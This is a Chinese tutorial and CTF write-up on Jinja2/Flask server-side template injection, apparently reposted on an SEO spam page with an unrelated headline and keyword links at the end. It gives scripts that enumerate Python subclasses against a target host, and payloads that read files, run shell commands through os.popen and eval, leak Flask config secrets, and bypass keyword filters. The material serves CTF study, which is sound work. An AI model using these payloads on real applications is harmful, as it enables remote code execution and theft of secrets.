当前位置: 首页 > news >正文

云南专业网站优化手机自动排名次的软件

云南专业网站优化,手机自动排名次的软件,dw做的网站怎么全屏,学校建设网站报告书基础知识补充: __class__ 返回类型所属的对象__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。__base__ 返回该对象所继承的基类// __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用&#xff…

基础知识补充:

  • __class__ 返回类型所属的对象
  • __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
  • __base__ 返回该对象所继承的基类
  • // __base__和__mro__都是用来寻找基类的
  • __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
  • __init__ 类的初始化方法
  • __globals__ 对包含函数全局变量的字典的引用
  • __builtins__  导入内置函数,例如eval()等

一般ssti都是通过 类->基类->危险函数的使用来实现注入的

 [].__class__         获取[] 对应的类

 [].__class__.__base__           获取[]对应的类的基类

 [].__class__.base__.__subclasses__()     获取[]对应的类的基类的所有子类

 [].__class__.base__.__subclasses__()[30]('flag').read()  (假设<type file> file方法是第30,使用read()方法来读取flag文件)

 [].__class__.base__.__subclasses__()[50].__init__.__globals__['os'].system('ls')  (假设os类是第50个,初始化它并使用system函数来执行ls命令)

SSTI读取文件

python2中可以使用file类来读取文件

{{[].__class__.__base__.__subclasses__()[40]('flag').read()}}

 python3中没有file类了

可以使用<class '_frozen_importlib_external.FileLoader'>,<class ‘click.utils.LazyFile’>

<class ‘codecs.IncrementalEncoder’>来读取文件

python脚本import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"res = requests.get(url=url, headers=headers)if 'click.utils.LazyFile' in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[257]('flag').read()}}

 SSTI执行命令

可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。

寻找内建函数 eval 执行命令

查询有内置函数eval的类

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"res = requests.get(url=url, headers=headers)if 'eval' in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

 寻找 os 模块执行命令

Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替

寻找有os模块的类

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"res = requests.get(url=url, headers=headers)if 'os.py' in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

寻找 importlib 类执行命令 

Python 中存在 <class '_frozen_importlib.BuiltinImporter'> 类,目的就是提供 Python 中 import 语句的实现(以及 __import__ 函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。

也可以搜索__import__函数来导入os模块

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"res = requests.get(url=url, headers=headers)if '__import__' in res.text:print(i)payload:{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

寻找 linecache 函数执行命令

inecache 这个函数可用于读取任意一个文件的某一行,而这个函数中也引入了 os 模块,所以我们也可以利用这个 linecache 函数去执行命令。

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"res = requests.get(url=url, headers=headers)if 'linecache' in res.text:print(i)payload={{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache']['os'].popen('ls').read()}}

config_app 

其中包含应用程序的所有配置值.在大多数情况下,这包括敏感值,例如数据库连接字符串,第三方服务的凭证,SECRET_KEY等。
例如:
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

CTF实例

 shrine(xctf)

 url和路由

 app.route()路由可以通过app.route()中的url来访问一个具体的python类或函数

例如:


from flask import Flaskapp = Flask(__name__)  # 创建一个flask实例@app.route('/')
def  index():return("这里是/页面")@app.route('/flag')
def  flag():return("这里是falg页面")if __name__ == '__main__':  # 如果是已主程序的方式启动(不是以导入模块的方式),则运行flask实例app.run()  # app.run(debug=True),即可开启debug模式这里写了两个页面url分别是/ 和 /falg

当然也可以动态的传参以及对参数的过滤

# -*- coding: UTF-8 -*-from flask import Flaskapp = Flask(__name__)  # 创建一个flask实例@app.route('/')
def a():return 1@app.route('/student/<student_id>/')
def student(student_id):return '学生{}号的信息'.format(student_id)@app.route('/students/<int:student_id>/')
def students(student_id):return '学生{}号的信息'.format(student_id)if __name__ == '__main__':  # 如果是已主程序的方式启动(不是以导入模块的方式),则运行flask实例app.run()  # app.run(debug=True),即可开启debug模式

 student 页面中可以随便传参

students页面则只能穿int型数据

 源代码


import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)
app.config['FLAG'] = os.environ.pop('FLAG')

从环境变量中删除FALG变量并返回值给config

 s = s.replace('(', '').replace(')', '')

将() 替换为空

 return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

将config,self 替换为None

分析:

如果没有过滤config

可以使用{{config.FLAG}}

如果没有过滤self

可以使用{{self.__dict__}},里面有所有字典的键与值

如果没有过滤()

可以使用subclasses()

payload:

url_for.__globals__['current_app'].config.FLAG

(为什么这里的config没有被过滤,不清楚)

Web_python_template_injection

存在ssti注入

 写脚本查询包含有os模块的索引

import requests
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.52'}
for i in range(500):url = "http://61.147.171.105:63900/{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"res = requests.get(url=url, headers=headers)if 'os.py' in res.text:print(i)

构造payload: 

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

使用file类读取拿到flag

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

Confusion1

输入{{2*3}} 结果为6,存在ssti漏洞

 

flag位置给出

发现关键词 class base read 被过滤

  • 使用引号绕过

__class__  ->  ["__cla""ss__"]

构造payload

()["__cla""ss__"]["__ba""se__"]["__subclas""ses__"]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')["re""ad"]()

拿到flag 

  •  使用request绕过

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

http://www.ritt.cn/news/6894.html

相关文章:

  • dreamweaver创建网站24小时免费看的视频哔哩哔哩
  • 自己怎么做网站购买空间东莞推广平台有哪些
  • 网站还在建设中英文怎么让某个关键词排名上去
  • 网页做好怎么变成网站品牌营销经典案例
  • wordpress更换初始域名网站推广和优化的原因
  • 网站服务器 免费的吗网络营销代运营外包公司
  • 购物车功能网站怎么做的搜索引擎优化方法案例
  • 张家界seo优化上海关键词排名优化价格
  • 怎么免费建立自己网站百度seo排名在线点击器
  • 线上推广计划上海排名优化seo
  • wordpress主题报错广告优化师是做什么的
  • 烟台环保网站建设北京seo优化哪家好
  • 微信网站应用开发免费b站推广网站入口2020
  • 苹果手机怎么做微电影网站吗网站排名软件利搜
  • 濮阳公司做网站泉州百度网络推广
  • 大理市住房和城乡建设局网站百度指数查询官网大数据
  • 泰安网站建设论文结论广州优化疫情防控措施
  • wordpress淘宝组件插件网络优化公司排名
  • wordpress广告模板下载地址抖音seo是什么意思
  • 长沙网站优化公司关键词排名优化公司推荐
  • 卖机械设备什么网站做推广好云南网站建设百度
  • 网站的二级栏目怎么做app制作费用一览表
  • 商务网站开发实训报告南京疫情最新消息
  • 景观小品设计网站推荐搜狗推广平台
  • 吉安网站建设公司网络推广外包一年多少钱
  • 国外免费网站贸易平台前十名b2b网站平台有哪些
  • 资源网站平台建设方案百度一下app
  • 做什么网站最赚钱网奇seo赚钱培训
  • 给网站做sitemap文件网页设计模板
  • 去哪找网站建设公司网站怎么推广出去